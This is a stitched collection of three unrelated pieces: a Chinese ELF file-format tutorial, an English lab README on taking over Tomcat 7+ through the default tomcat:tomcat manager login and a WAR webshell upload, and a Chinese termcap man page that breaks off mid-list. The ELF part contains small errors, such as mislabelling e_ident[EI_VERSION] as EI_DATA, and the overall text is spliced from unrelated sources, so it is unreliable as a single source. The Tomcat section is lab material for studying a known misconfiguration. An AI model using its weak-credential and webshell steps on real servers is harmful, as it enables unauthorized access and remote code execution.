ELF 文件格式支持 8 位/32 位体系结构。当然,这种格式是可以扩展的,也可以支持更小的或者更大位数的处理器架构。因此,目标文件会包含一些控制数据,这部分数据表明了目标文件所使用的架构,这也使得它可以被通用的方式来识别和解释。目标文件中的其它数据采用目的处理器的格式进行编码,与在何种机器上创建没有关系。这里其实想表明的意思目标文件可以进行交叉编译,我们可以在 x86 平台生成 arm 平台的可执行代码。
目标文件中的所有数据结构都遵从“自然”大小和对齐规则。如下
| 名称 | 长度 | 对齐方式 | 用途 |
| :------------ | :--: | :--: | :-----: |
| Elf32_Addr | 4 | 4 | 无符号程序地址 |
| Elf32_Half | 2 | 2 | 无符号半整型 |
| Elf32_Off | 4 | 4 | 无符号文件偏移 |
| Elf32_Sword | 4 | 4 | 有符号大整型 |
| Elf32_Word | 4 | 4 | 无符号大整型 |
| unsigned char | 1 | 1 | 无符号小整型 |
如果必要,数据结构可以包含显式地补齐来确保 4 字节对象按 4 字节对齐,强制数据结构的大小是 4 的整数倍等等。数据同样适用是对齐的。因此,包含一个 Elf32_Addr 类型成员的结构体会在文件中的 4 字节边界处对齐。
为了具有可移植性,ELF 文件不使用位域。
### 字符表示
待。
**注:在下面的介绍中,我们以 32 位为主进行介绍。**
## ELF Header
ELF Header 描述了 ELF 文件的概要信息,利用这个数据结构可以索引到 ELF 文件的全部信息,数据结构如下:
```c
#define EI_NIDENT 16
typedef struct {
unsigned char e_ident[EI_NIDENT];
ELF32_Half e_type;
ELF32_Half e_machine;
ELF32_Word e_version;
ELF32_Addr e_entry;
ELF32_Off e_phoff;
ELF32_Off e_shoff;
ELF32_Word e_flags;
ELF32_Half e_ehsize;
ELF32_Half e_phentsize;
ELF32_Half e_phnum;
ELF32_Half e_shentsize;
ELF32_Half e_shnum;
ELF32_Half e_shstrndx;
} Elf32_Ehdr;
```
其中每个成员都是 e 开头的,它们应该都是 ELF 的缩写。每个成员具体的说明如下。
### e_ident
正如之前所说,ELF 提供了一个目标文件框架,以便于支持多种处理器,多种编码格式的机器。该变量给出了用于解码和解释文件中与机器无关的数据的方式。这个数组对于不同的下标的含义如下
| 宏名称 | 下标 | 目的 |
| ---------- | ---- | -------------- |
| EI_MAG0 | 0 | 文件标识 |
| EI_MAG1 | 1 | 文件标识 |
| EI_MAG2 | 2 | 文件标识 |
| EI_MAG3 | 3 | 文件标识 |
| EI_CLASS | 4 | 文件类 |
| EI_DATA | 5 | 数据编码 |
| EI_VERSION | 6 | 文件版本 |
| EI_PAD | 7 | 补齐字节开始处 |
其中,
`e_ident[EI_MAG0]` 到 `e_ident[EI_MAG3]`,即文件的头4个字节,被称作“魔数”,标识该文件是一个ELF目标文件。**至于开头为什么是0x7f,并没有仔细去查过**。
| 名称 | 值 | 位置 |
| ------- | ---- | ---------------- |
| ELFMAG0 | 0x7f | e_ident[EI_MAG0] |
| ELFMAG1 | ‘E’ | e_ident[EI_MAG1] |
| ELFMAG2 | ‘L’ | e_ident[EI_MAG2] |
| ELFMAG3 | ‘F’ | e_ident[EI_MAG3] |
`e_ident[EI_CLASS]` 为 `e_ident[EI_MAG3]`的下一个字节,标识文件的类型或容量。
| 名称 | 值 | 意义 |
| ------------ | ---- | ----- |
| ELFCLASSNONE | 0 | 无效类型 |
| ELFCLASS32 | 1 | 32位文件 |
| ELFCLASS64 | 2 | 64位文件 |
ELF 文件的设计使得它可以在多种字节长度的机器之间移植,而不需要强制规定机器的最长字节长度和最短字节长度。`ELFCLASS32`类型支持文件大小和虚拟地址空间上限为 4GB 的机器;它使用上述定义中的基本类型。
`ELFCLASS64` 类型用于 64 位架构。
`e_ident[EI_DATA]`字节给出了目标文件中的特定处理器数据的编码方式。下面是目前已定义的编码:
| 名称 | 值 | 意义 |
| ----------- | ---- | ------ |
| ELFDATANONE | 0 | 无效数据编码 |
| ELFDATA2LSB | 1 | 小端 |
| ELFDATA2MSB | 2 | 大端 |
其它值被保留,在未来必要时将被赋予新的编码。
文件数据编码方式表明了文件内容的解析方式。正如之前所述,`ELFCLASS32`类型文件使用了具有1,2 和 4 字节的变量类型。对于已定义的不同的编码方式,其表示如下所示,其中字节号在左上角。
`ELFDATA2LSB`编码使用补码,最低有效位(Least Significant Byte)占用最低地址。
`ELFDATA2MSB`编码使用补码,最高有效位(Most Significant Byte)占用最低地址。
`e_ident[EI_DATA]` 给出了 ELF 头的版本号。目前这个值必须是`EV_CURRENT`,即之前已经给出的`e_version`。
`e_ident[EI_PAD]` 给出了 `e_ident` 中未使用字节的开始地址。这些字节被保留并置为0;处理目标文件的程序应该忽略它们。如果之后这些字节被使用,EI_PAD的值就会改变。
### e_type
`e_type` 标识目标文件类型。
| 名称 | 值 | 意义 |
| --------- | ------ | -------------- |
| ET_NONE | 0 | 无文件类型 |
| ET_REL | 1 | 可重定位文件 |
| ET_EXEC | 2 | 可执行文件 |
| ET_DYN | 3 | 共享目标文件 |
| ET_CORE | 4 | 核心转储文件 |
| ET_LOPROC | 0xff00 | 处理器指定下限 |
| ET_HIPROC | 0xffff | 处理器指定上限 |
虽然核心转储文件的内容没有被详细说明,但 `ET_CORE` 还是被保留用于标志此类文件。从 `ET_LOPROC` 到 `ET_HIPROC` (包括边界)被保留用于处理器指定的场景。其它值在未来必要时可被赋予新的目标文件类型。
### e_machine
这一项指定了当前文件可以运行的机器架构。
| 名称 | 值 | 意义 |
| -------- | ---- | -------------- |
| EM_NONE | 0 | 无机器类型 |
| EM_M32 | 1 | AT&T WE 32100 |
| EM_SPARC | 2 | SPARC |
| EM_386 | 3 | Intel 80386 |
| EM_68K | 4 | Motorola 68000 |
| EM_88K | 5 | Motorola 88000 |
| EM_860 | 7 | Intel 80860 |
| EM_MIPS | 8 | MIPS RS3000 |
其中 EM 应该是 `ELF Machine` 的简写。
其它值被在未来必要时用于新的机器。 此外,特定处理器的ELF名称使用机器名称来进行区分,一般标志会有个前缀`EF_` (ELF Flag)。例如,在`EM_XYZ`机器上名叫 `WIDGET` 的标志将被称为 `EF_XYZ_WIDGET`。
### e_version
标识目标文件的版本。
| 名称 | 值 | 意义 |
| ---------- | ---- | ---- |
| EV_NONE | 0 | 无效版本 |
| EV_CURRENT | 1 | 当前版本 |
1 表示初始文件格式;未来扩展新的版本的时候(extensions)将使用更大的数字。虽然在上面值`EV_CURRENT`为1,但是为了反映当前版本号,它可能会改变,**比如ELF到现在也就是1.2版本。**
### e_entry
这一项为系统转交控制权给 ELF 中相应代码的虚拟地址。如果没有相关的入口项,则这一项为0。
### e_phoff
这一项给出**程序头部表**在文件中的字节偏移(**Program Header table OFFset**)。如果文件中没有程序头部表,则为0。
### e_shoff
这一项给出**节头表**在文件中的字节偏移( **Section Header table OFFset** )。如果文件中没有节头表,则为0。
### e_flags
这一项给出文件中与特定处理器相关的标志,这些标志命名格式为`EF_machine_flag`。
### e_ehsize
这一项给出 ELF 文件头部的字节长度(ELF Header Size)。
### e_phentsize
这一项给出程序头部表中每个表项的字节长度(**Program Header ENTry SIZE**)。每个表项的大小相同。
### e_phnum
这一项给出程序头部表的项数( **Program Header entry NUMber** )。因此,`e_phnum` 与 `e_phentsize` 的乘积即为程序头部表的字节长度。如果文件中没有程序头部表,则该项值为0。
### e_shentsize
这一项给出节头的字节长度(**Section Header ENTry SIZE**)。一个节头是节头表中的一项;节头表中所有项占据的空间大小相同。
### e_shnum
这一项给出节头表中的项数(**Section Header NUMber**)。因此, `e_shnum` 与 `e_shentsize` 的乘积即为节头表的字节长度。如果文件中没有节头表,则该项值为0。
### e_shstrndx
这一项给出节头表中与节名字符串表相关的表项的索引值(**Section Header table InDeX related with section name STRing table**)。如果文件中没有节名字符串表,则该项值为`SHN_UNDEF`。关于细节的介绍,请参考后面的“节”和“字符串表”部分。
## Program Header Table
### 概述
Program Header Table 是一个结构体数组,每一个元素的类型是 `Elf32_Phdr`,描述了一个段或者其它系统在准备程序执行时所需要的信息。其中,ELF 头中的 `e_phentsize` 和 `e_phnum` 指定了该数组每个元素的大小以及元素个数。一个目标文件的段包含一个或者多个节。**程序的头部只有对于可执行文件和共享目标文件有意义。**
可以说,Program Header Table 就是专门为 ELF 文件运行时中的段所准备的。
`Elf32_Phdr` 的数据结构如下
```c++
typedef struct {
ELF32_Word p_type;
ELF32_Off p_offset;
ELF32_Addr p_vaddr;
ELF32_Addr p_paddr;
ELF32_Word p_filesz;
ELF32_Word p_memsz;
ELF32_Word p_flags;
ELF32_Word p_align;
} Elf32_Phdr;
```
每个字段的说明如下
| 字段 | 说明 |
| -------- | ------------------------------------------------------------ |
| p_type | 该字段为段的类型,或者表明了该结构的相关信息。 |
| p_offset | 该字段给出了从文件开始到该段开头的第一个字节的偏移。 |
| p_vaddr | 该字段给出了该段第一个字节在内存中的虚拟地址。 |
| p_paddr | 该字段仅用于物理地址寻址相关的系统中, 由于“System V”忽略了应用程序的物理寻址,可执行文件和共享目标文件的该项内容并未被限定。 |
| p_filesz | 该字段给出了文件镜像中该段的大小,可能为0。 |
| p_memsz | 该字段给出了内存镜像中该段的大小,可能为0。 |
| p_flags | 该字段给出了与段相关的标记。 |
| p_align | 可加载的程序的段的 p_vaddr 以及 p_offset 的大小必须是 page 的整数倍。该成员给出了段在文件以及内存中的对齐方式。如果该值为 0 或 1 的话,表示不需要对齐。除此之外,p_align 应该是 2 的整数指数次方,并且 p_vaddr 与 p_offset 在模 p_align 的意义下,应该相等。 |
### 段类型
可执行文件中的段类型如下
| 名字 | 取值 | 说明 |
| ------------------- | ----------------------- | ------------------------------------------------------------ |
| PT_NULL | 0 | 表明段未使用,其结构中其他成员都是未定义的。 |
| PT_LOAD | 1 | 此类型段为一个可加载的段,大小由 p_filesz 和 p_memsz 描述。文件中的字节被映射到相应内存段开始处。如果 p_memsz 大于 p_filesz,“剩余”的字节都要被置为0。p_filesz 不能大于 p_memsz。可加载的段在程序头部中按照 p_vaddr 的升序排列。 |
| PT_DYNAMIC | 2 | 此类型段给出动态链接信息。 |
| PT_INTERP | 3 | 此类型段给出了一个以 NULL 结尾的字符串的位置和长度,该字符串将被当作解释器调用。这种段类型仅对可执行文件有意义(也可能出现在共享目标文件中)。此外,这种段在一个文件中最多出现一次。而且这种类型的段存在的话,它必须在所有可加载段项的前面。 |
| PT_NOTE | 4 | 此类型段给出附加信息的位置和大小。 |
| PT_SHLIB | 5 | 该段类型被保留,不过语义未指定。而且,包含这种类型的段的程序不符合ABI标准。 |
| PT_PHDR | 6 | 该段类型的数组元素如果存在的话,则给出了程序头部表自身的大小和位置,既包括在文件中也包括在内存中的信息。此类型的段在文件中最多出现一次。**此外,只有程序头部表是程序的内存映像的一部分时,它才会出现**。如果此类型段存在,则必须在所有可加载段项目的前面。 |
| PT_LOPROC~PT_HIPROC | 0x70000000 ~0x7fffffff | 此范围的类型保留给处理器专用语义。 |
### 基地址-Base Address
程序头部的虚拟地址可能并不是程序内存镜像中实际的虚拟地址。通常来说,可执行程序都会包含绝对地址的代码。为了使得程序可以正常执行,段必须在相应的虚拟地址处。另一方面,共享目标文件通常来说包含与地址无关的代码。这可以使得共享目标文件可以被多个进程加载,同时保持程序执行的正确性。尽管系统会为不同的进程选择不同的虚拟地址,但是它仍然保留段的相对地址,**因为地址无关代码使用段之间的相对地址来进行寻址,内存中的虚拟地址之间的差必须与文件中的虚拟地址之间的差相匹配**。内存中任何段的虚拟地址与文件中对应的虚拟地址之间的差值对于任何一个可执行文件或共享对象来说是一个单一常量值。这个差值就是基地址,基地址的一个用途就是在动态链接期间重新定位程序。
可执行文件或者共享目标文件的基地址是在执行过程中由以下三个数值计算的
- 虚拟内存加载地址
- 最大页面大小
- 程序可加载段的最低虚拟地址
要计算基地址,首先要确定可加载段中 p_vaddr 最小的内存虚拟地址,之后把该内存虚拟地址缩小为与之最近的最大页面的整数倍即是基地址。根据要加载到内存中的文件的类型,内存地址可能与 p_vaddr 相同也可能不同。
### 段权限-p_flags
被系统加载到内存中的程序至少有一个可加载的段。当系统为可加载的段创建内存镜像时,它会按照 p_flags 将段设置为对应的权限。可能的段权限位有
其中,所有在 PF_MASKPROC 中的比特位都是被保留用于与处理器相关的语义信息。
如果一个权限位被设置为 0,这种类型的段是不可访问的。实际的内存权限取决于相应的内存管理单元,不同的系统可能操作方式不一样。尽管所有的权限组合都是可以的,但是系统一般会授予比请求更多的权限。在任何情况下,除非明确说明,一个段不会有写权限。下面给出了所有的可能组合。
例如,一般来说,.text 段一般具有读和执行权限,但是不会有写权限。数据段一般具有写,读,以及执行权限。
### 段内容
一个段可能包括一到多个节区,但是这并不会影响程序的加载。尽管如此,我们也必须需要各种各样的数据来使得程序可以执行以及动态链接等等。下面会给出一般情况下的段的内容。对于不同的段来说,它的节的顺序以及所包含的节的个数有所不同。此外,与处理相关的约束可能会改变对应的段的结构。
如下所示,代码段只包含只读的指令以及数据。当然这个例子并没有给出所有的可能的段。
数据段包含可写的数据以及以及指令,通常来说,包含以下内容
程序头部的 PT_DYNAMIC 类型的元素指向 .dynamic 节。其中,got 表和 plt 表包含与地址无关的代码相关信息。尽管在这里给出的例子中,plt 节出现在代码段,但是对于不同的处理器来说,可能会有所变动。
.bss 节的类型为 SHT_NOBITS,这表明它在 ELF 文件中不占用空间,但是它却占用可执行文件的内存镜像的空间。通常情况下,没有被初始化的数据在段的尾部,因此,`p_memsz` 才会比 `p_filesz` 大。
注意:
- 不同的段可能会有所重合,即不同的段包含相同的节。
## Section Header Table
其实这个数据结构是在 ELF 文件的尾部( **为什么要放在文件尾部呢??** ),但是为了讲解方便,这里将这个表放在这里进行讲解。
该结构用于定位 ELF 文件中的每个节区的具体位置。
首先,ELF头中的 `e_shoff` 项给出了从文件开头到节头表位置的字节偏移。`e_shnum` 告诉了我们节头表包含的项数;`e_shentsize` 给出了每一项的字节大小。
其次,节头表是一个数组,每个数组的元素的类型是 `ELF32_Shdr` ,每一个元素都描述了一个节区的概要内容。
### ELF32_Shdr
每个节区头部可以用下面的数据结构进行描述:
```c
typedef struct {
ELF32_Word sh_name;
ELF32_Word sh_type;
ELF32_Word sh_flags;
ELF32_Addr sh_addr;
ELF32_Off sh_offset;
ELF32_Word sh_size;
ELF32_Word sh_link;
ELF32_Word sh_info;
ELF32_Word sh_addralign;
ELF32_Word sh_entsize;
} Elf32_Shdr;
```
每个字段的含义如下
| 成员 | 说明 |
| :----------- | ------------------------------------------------------------ |
| sh_name | 节名称,是节区头字符串表节区中(Section Header String Table Section)的索引,因此该字段实际是一个数值。在字符串表中的具体内容是以 NULL 结尾的字符串。 |
| sh_type | 根据节的内容和语义进行分类,具体的类型下面会介绍。 |
| sh_flags | 每一比特代表不同的标志,描述节是否可写,可执行,需要分配内存等属性。 |
| sh_addr | 如果节区将出现在进程的内存映像中,此成员给出节区的第一个字节应该在进程镜像中的位置。否则,此字段为 0。 |
| sh_offset | 给出节区的第一个字节与文件开始处之间的偏移。SHT_NOBITS 类型的节区不占用文件的空间,因此其 sh_offset 成员给出的是概念性的偏移。 |
| sh_size | 此成员给出节区的字节大小。除非节区的类型是 SHT_NOBITS ,否则该节占用文件中的 sh_size 字节。类型为SHT_NOBITS 的节区长度可能非零,不过却不占用文件中的空间。 |
| sh_link | 此成员给出节区头部表索引链接,其具体的解释依赖于节区类型。 |
| sh_info | 此成员给出附加信息,其解释依赖于节区类型。 |
| sh_addralign | 某些节区的地址需要对齐。例如,如果一个节区有一个 doubleword 类型的变量,那么系统必须保证整个节区按双字对齐。也就是说,$sh\_addr \% sh\_addralign$=0。目前它仅允许为 0,以及 2 的正整数幂数。 0 和 1 表示没有对齐约束。 |
| sh_entsize | 某些节区中存在具有固定大小的表项的表,如符号表。对于这类节区,该成员给出每个表项的字节大小。反之,此成员取值为0。 |
正如之前所说,索引为零(SHN_UNDEF)的节区头也存在,此索引标记的是未定义的节区引用。这一项的信息如下
| 字段名称 | 取值 | 说明 |
| ------------ | --------- | ----- |
| sh_name | 0 | 无名称 |
| sh_type | SHT_NULL | 限制 |
| sh_flags | 0 | 无标志 |
| sh_addr | 0 | 无地址 |
| sh_offset | 0 | 无文件偏移 |
| sh_size | 0 | 无大小 |
| sh_link | SHN_UNDEF | 无链接信息 |
| sh_info | 0 | 无辅助信息 |
| sh_addralign | 0 | 无对齐要求 |
| sh_entsize | 0 | 无表项 |
### 特殊下标
节头表中比较特殊的几个下标如下
| 名称 | 值 | 含义 |
| ------------- | ------ | ---------------------------------------- |
| SHN_UNDEF | 0 | 标志未定义的,丢失的,不相关的或者其它没有意义的节引用。例如,与节号SHN_UNDEF相关的“定义”的符号就是一个未定义符号。**注:虽然0号索引被保留用于未定义值,节头表仍然包含索引0的项。也就是说,如果ELF头的e_shnum为6,那么索引应该为0~5。更加详细的内容在后面会说明。** |
| SHN_LORESERVE | 0xff00 | 保留索引值范围的下界。 |
| SHN_LOPROC | 0xff00 | 处理器相关的下界 |
| SHN_HIPROC | 0xff1f | 处理器相关的上界 |
| SHN_ABS | 0xfff1 | 相关引用的绝对值。例如与节号SHN_ABS相关的符号拥有绝对值,它们不受重定位的影响 |
| SHN_COMMON | 0xfff2 | 这一节区相定义的符号是通用符号,例如FORTRAN COMMON,C语言中未分配的外部变量。 |
| SHN_HIRESERVE | 0xffff | 保留索引值范围的上界。 |
**系统保留在`SHN_LORESERVE`到`SHN_HIRESERVE`之间(包含边界)的索引值,这些值不在节头表中引用。也就是说,节头表不包含保留索引项。没特别理解。**
### 部分节头字段
#### sh_type
节类型目前有下列可选范围,其中 SHT 是**Section Header Table** 的简写。
| 名称 | 取值 | 说明 |
| ------------ | ---------- | ---------------------------------------- |
| SHT_NULL | 0 | 该类型节区是非活动的,这种类型的节头中的其它成员取值无意义。 |
| SHT_PROGBITS | 1 | 该类型节区包含程序定义的信息,它的格式和含义都由程序来决定。 |
| SHT_SYMTAB | 2 | 该类型节区包含一个符号表(**SYMbol TABle**)。目前目标文件对每种类型的节区都只 能包含一个,不过这个限制将来可能发生变化。 一般,SHT_SYMTAB 节区提供用于链接编辑(指 ld 而言) 的符号,尽管也可用来实现动态链接。 |
| SHT_STRTAB | 3 | 该类型节区包含字符串表( **STRing TABle** )。 |
| SHT_RELA | 4 | 该类型节区包含显式指定位数的重定位项( **RELocation entry with Addends** ),例如,32 位目标文件中的 Elf32_Rela 类型。此外,目标文件可能拥有多个重定位节区。 |
| SHT_HASH | 5 | 该类型节区包含符号哈希表( **HASH table** )。 |
| SHT_DYNAMIC | 6 | 该类型节区包含动态链接的信息( **DYNAMIC linking** )。 |
| SHT_NOTE | 7 | 该类型节区包含以某种方式标记文件的信息(**NOTE**)。 |
| SHT_NOBITS | 8 | 该类型节区不占用文件的空间,其它方面和SHT_PROGBITS相似。尽管该类型节区不包含任何字节,其对应的节头成员sh_offset 中还是会包含概念性的文件偏移。 |
| SHT_REL | 9 | 该类型节区包含重定位表项(**RELocation entry without Addends**),不过并没有指定位数。例如,32位目标文件中的 Elf32_rel 类型。目标文件中可以拥有多个重定位节区。 |
| SHT_SHLIB | 10 | 该类型此节区被保留,不过其语义尚未被定义。 |
| SHT_DYNSYM | 11 | 作为一个完整的符号表,它可能包含很多对动态链接而言不必 要的符号。因此,目标文件也可以包含一个 SHT_DYNSYM 节区,其中保存动态链接符号的一个最小集合,以节省空间。 |
| SHT_LOPROC | 0X70000000 | 此值指定保留给处理器专用语义的下界( **LOw PROCessor-specific semantics** )。 |
| SHT_HIPROC | OX7FFFFFFF | 此值指定保留给处理器专用语义的上界( **HIgh PROCessor-specific semantics** )。 |
| SHT_LOUSER | 0X80000000 | 此值指定保留给应用程序的索引下界。 |
| SHT_HIUSER | 0X8FFFFFFF | 此值指定保留给应用程序的索引上界。 |
#### sh_flags
节头中 `sh_flags` 字段的每一个比特位都可以给出其相应的标记信息,其定义了对应的节区的内容是否可以被修改、被执行等信息。如果一个标志位被设置,则该位取值为1,未定义的位都为0。目前已定义值如下,其他值保留。
| 名称 | 值 | 说明 |
| ------------- | ---------- | ---------------------------------------- |
| SHF_WRITE | 0x1 | 这种节包含了进程运行过程中可以被写的数据。 |
| SHF_ALLOC | 0x2 | 这种节在进程运行时占用内存。对于不占用目标文件的内存镜像空间的某些控制节,该属性处于关闭状态(off)。 |
| SHF_EXECINSTR | 0x4 | 这种节包含可执行的机器指令(**EXECutable INSTRuction**)。 |
| SHF_MASKPROC | 0xf0000000 | 所有在这个掩码中的比特位用于特定处理器语义。 |
#### sh_link & sh_info
当节区类型的不同的时候,sh_link 和 sh_info 也会具有不同的含义。
| sh_type | sh_link | sh_info |
| --------------------- | ------------------------------------------------------------ | -------------------------- |
| SHT_DYNAMIC | 节区中使用的字符串表的节头索引 | 0 |
| SHT_HASH | 此哈希表所使用的符号表的节头索引 | 0 |
| SHT_REL/SHT_RELA | 与符号表相关的节头索引 | 重定位应用到的节的节头索引 |
| SHT_SYMTAB/SHT_DYNSYM | 操作系统特定信息,Linux 中的 ELF 文件中该项指向符号表中符号所对应的字符串节区在 Section Header Table 中的偏移。 | 操作系统特定信息 |
| other | `SHN_UNDEF` | 0 |
## 例子
这里给出一个 elf 文件比较经典的例子。
**有时间会结合具体的程序,给出一个更好的例子。**
## 参考文献
- https://blogs.oracle.com/ali/gnu-hash-elf-sections
- https://bbs.pediy.com/thread-204642.htm
|
sec-knowleage
|
# Tomcat7+ Weak Password && Backend Getshell Vulnerability
[中文版本(Chinese version)](README.zh-cn.md)
Tomcat version: 8.0
## Introduction
Tomcat supports deploying the war files through backend, so we can directly place the webshell into the web directory. In order to access the backend, permissions are needed.
Permissions of Tomcat7+ are as follows:
- manager(backend management)
- manager-gui (permission of html pages)
- manager-status (permission to view status)
- manager-script (permission of text interface and the status permission)
- manager-jmx (jmx permissions, and status permissions)
- host-manager (virtual host management)
- admin-gui (permission of html pages)
- admin-script (permission of text interface)
To know more about the permissions, please read: http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html
Permissions of users are configured in the ` conf/tomcat-users.xml ` file:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
```
As can be seen, user tomcat has all of the permissions mentioned above, and the password is `tomcat`.
There are no users by default in Tomcat8 through normal installation, and the manager page only allows local IP to visit. Only if the administrator has manually modified these properties can we make an attack.
## Environment and Test
Just run:
```
docker compose up -d
```
Open the tomcat management page `http://your-ip:8080/manager/html`,enter the weak password `tomcat:tomcat`,then access the backend:

Upload war package and then get shell directly.
|
sec-knowleage
|
.\" Copyright (c) 1993 Michael Haardt (michael@moria.de), Fri Apr 2 11:32:09 MET DST 1993
.\"
.\" This is free documentation; you can redistribute it and/or
.\" modify it under the terms of the GNU General Public License as
.\" published by the Free Software Foundation; either version 2 of
.\" the License, or (at your option) any later version.
.\"
.\" The GNU General Public License's references to "object code"
.\" and "executables" are to be interpreted as the output of any
.\" document formatting or typesetting system, including
.\" intermediate and printed output.
.\"
.\" This manual is distributed in the hope that it will be useful,
.\" but WITHOUT ANY WARRANTY; without even the implied warranty of
.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
.\" GNU General Public License for more details.
.\"
.\" You should have received a copy of the GNU General Public
.\" License along with this manual; if not, write to the Free
.\" Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111,
.\" USA.
.\"
.\" Modified formatting Sat Jul 24 17:13:38 1993, Rik Faith (faith@cs.unc.edu)
.\" Modified (extensions and corrections) Sun May 1 14:21:25 MET DST 1994 Michael Haardt
.\" If mistakes in the capabilities are found, please send a bug report to:
.\" michael@moria.de
.\" Modified Mon Oct 21 17:47:19 EDT 1996 by Eric S. Raymond (esr@thyrsus.com)
.TH TERMCAP 5 "" "Linux" "Linux Programmer's Manual"
.SH NAME
termcap \- 终端功能数据库
.SH 描述 DESCRIPTION
.B termcap 数据库是一个过时 (obsolete) 工具,用来描述以字符为单位的终端和打印机的功能。它之所以被保留,是为了兼容古老的程序;新程序应当使用
.BR terminfo (5)
数据库和相关的库。
.LP
.B /etc/termcap
是一个 ASCII 文件 (数据库主控文件),列出了许多不同类型终端的功能。程序可以读取它,来找到控制实际使用的终端的可视化属性的特定的脱逸字符 (escape code)。(终端的其他方面是 stty 处理的。)termcap 数据库按照 TERM 环境变量进行索引。
.LP
.B Termcap
条目必须以单个逻辑行定义,在新行符处应当用 `\\' 来续行。字段以 `:' 分隔。每个条目的第一个字段从左边起始,包含一系列终端的名称,以 '|' 分隔。
.LP
第一个子字段可能 (在 4.3 及以前的 BSD termcap 条目中) 包含由两个字符组成的简称。这个简称可以由大写或小写字母组成。在 4.4BSD termcap 条目中,这个字段被忽略。
.LP
第二个子字段 (在较新的 4.4BSD 格式中是第一个字段) 包括环境变量 TERM 使用的名字。只能使用小写字母。可选的硬件功能应当通过附加一个连字符 (hyphen) 和后缀来标记。参见下面的范例。一般使用的后缀是 w (行宽超过 80 个字符),am (自动加边),nam (不自动加边),和 rv (反转视频显示)。
.LP
第三个子字段包含一个对这个 termcap 条目的长的描述性的名字。
.LP
接下来的字段包含终端功能。任何连续的功能行必须从左边缩进一个指标符 (tab) 位置。
.LP
尽管没有定义顺序,建议你将布尔值写在最先,然后是数字值,最后是字符串值;按照字母排序,没有大小写之分。类似功能可以写在同一行。
.LP
.nf
例如:
.sp
Head line: vt|vt101|DEC VT 101 terminal in 80 character mode:\e
Head line: Vt|vt101-w|DEC VT 101 terminal in (wide) 132 character mode:\e
Boolean: :bs:\e
Numeric: :co#80:\e
String: :sr=\eE[H:\e
.SS "布尔值 Boolean Capabilities"
.nf
5i 打印机不在屏幕上回显
am 自动加边,意味着自动卷行
bs Control-H (8 dec.) 执行一个退格 (backspace)
bw 在行的左边退格回到上一行的右边
da 显示保留在屏幕上方
db 显示保留在屏幕下方
eo 一个空格删除光标所在位置的所有字符
es 工作在状态行的转义顺序 (escape sequence) 和特殊字符
gn 普通设备
hc 这是一个硬拷贝终端
HC 光标不在底线时几乎看不见
hs 有一个状态线
hz Hazeltine bug, 终端不能打印 ~ 符号
in 终端插入空字符,不是空格,来填充空白
km 终端有一个meta键
mi 光标移动是工作在插入模式下
ms 光标移动是工作在突出/下划线 (standout/underline) 模式
NP 无填充字符
NR ti 不能反转为 te
nx 无填充,必须使用 XON/XOFF
os 终端能重击 (将光标置于要改变的字符下面,再通过键盘输入一个字符来替换原来的字符。)
ul 终端不能被重击,只能下划线
xb 蜂窝信号,f1 发射 ESCAPE, f2 发射 ^C
xn 换行/返转信号
xo 终端使用xon/xoff协议
xs 打印的文字超过突出的文本,将显示在突出的位置
xt Teleray 信号,破坏tabs 和奇数化突出模式(standout mode)
.fi
.SS "数字值 Numeric Capabilities"
.nf
co 列数
dB 硬拷贝终端上退格 (backspace) 延时,以毫秒为单位
dC 硬拷贝终端上回车 (carriage return) 延时,以毫秒为单位
dF 硬拷贝终端上打印纸进纸 (form feed) 延时,以毫秒为单位
dN 硬拷贝终端上新行符 (new line) 的延时,以毫秒为单位
dT 硬拷贝终端上制表符停止位 (tabulator stop) 的延时,以毫秒为单位
dV 硬拷贝终端上垂直制表符停止位的延时,以毫秒为单位
it tab 位置间的差分
lh 软标签高度
lm 内存线(Lines of memory)
lw 软标签的宽度
li 行数
Nl 软标签的数目
pb 需要填充的最低波特率
sg 突出信号
ug 下划线信号
vt 虚拟终端数目
ws 若状态线宽度与屏幕宽度不同时的大小
.fi
.SS "字符串值 String Capabilities"
.nf
!1 转义为保存键
!2 转义为挂起键
!3 转义为撤消键
#1 转义为帮助键
#2 转义为 home 键
#3 转义为输入键
#4 转义为光标左移键
%0 重做 (redo) 键
%1 帮助键
%2 标记键
%3 信息 (message) 键
%4 转移键
%5 下一对象 (next-object) 键
%6 打开键
%7 选项键
%8 上一对象键
%9 打印键
%a 转义为信息 (message) 键
%b 转义为转移键
%c 转义为next键
%d 转义为options键
%e 转义为previous键
%f 转义为打印键
%g 转义为redo键
%h 转义为替换键
%i 转义为光标右移键
%j 转义为恢复键
&0 转义为取消键
&1 参考键
&2 刷新键
&3 替换键
&4 重新开始键
&5 恢复键
&6 保存键
&7 挂起键
&8 撤销键
&9 转义为开始键
*0 转义为查找键
*1 转义为命令键
*2 转义为拷贝键
*3 转义为创建键
*4 转义为删除字符
*5 转义为删除行
*6 选择键
*7 转义为结束键
*8 转义为清除行键
*9 转义为退出键
@0 查找键
@1 开始键
@2 取消键
@3 关闭键
@4 命令键
@5 拷贝键
@6 创建键
@7 结束键
@8 回车/发送键
@9 退出键
al 插入新行
AL 缩进 %1 行
ac 成对的图形字符块,映射替代的字符集
ae 结束替代的字符集
as 为图形字符块开始替代的字符集
bc 退格,如果没有 ^H
bl 铃声
bt 移动到前一个tab停止位
cb 从行的开始处清除到光标处
cc 虚设命令字符
cd 清除到屏幕的末端
ce 清除到行末
ch 水平移动光标到 %1列
cl 清除屏幕并将光标置位
cm 光标移动到%1行,%2列 (屏幕中)
CM 光标移动到%1行,%2列 (内存中)
cr 回车
cs 翻滚区域,从%1行到%2行
ct 清除tab
cv 垂直移动光标到%1行
dc 删除一个字符
DC 删除%1个字符
dl 删除一行
DL 删除%1行
dm 开始delete模式
do 光标下移一行
DO 光标下移#1行
ds 使状态行不可用
eA 激活替代的字符集
ec 从光标处开始,删除%1个字符
ed 结束delete模式
ei 结束insert模式
ff 硬拷贝终端上的走纸符
fs 在进入状态行之前返回字符到他的位置
F1 由功能键F11发送的字符串
